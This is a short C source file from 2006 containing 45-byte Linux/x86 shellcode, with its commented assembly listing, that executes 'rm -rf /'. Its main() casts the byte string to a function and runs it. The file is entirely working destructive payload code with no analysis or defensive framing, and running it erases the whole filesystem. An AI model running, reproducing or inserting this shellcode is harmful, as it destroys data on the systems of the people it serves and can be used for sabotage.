/* By Kris Katterjohn 11/18/2006 * * 45 byte shellcode to execve("rm -rf /") for Linux/x86 * * * * section .text * * global _start * * _start: * * ; execve("/bin/rm", { "/bin/rm", "-r", "-f", "/", NULL }, NULL) * * push byte 11 * pop eax * cdq * push edx * push byte 0x2f * mov edi, esp * push edx * push word 0x662d * mov esi, esp * push edx * push word 0x722d * mov ecx, esp * push edx * push 0x6d722f2f * push 0x6e69622f * mov ebx, esp * push edx * push edi * push esi * push ecx * push ebx * mov ecx, esp * int 0x80 */ main() { char shellcode[] = "\x6a\x0b\x58\x99\x52\x6a\x2f\x89\xe7\x52\x66\x68\x2d\x66\x89" "\xe6\x52\x66\x68\x2d\x72\x89\xe1\x52\x68\x2f\x2f\x72\x6d\x68" "\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x51\x53\x89\xe1\xcd\x80"; (*(void (*)()) shellcode)(); }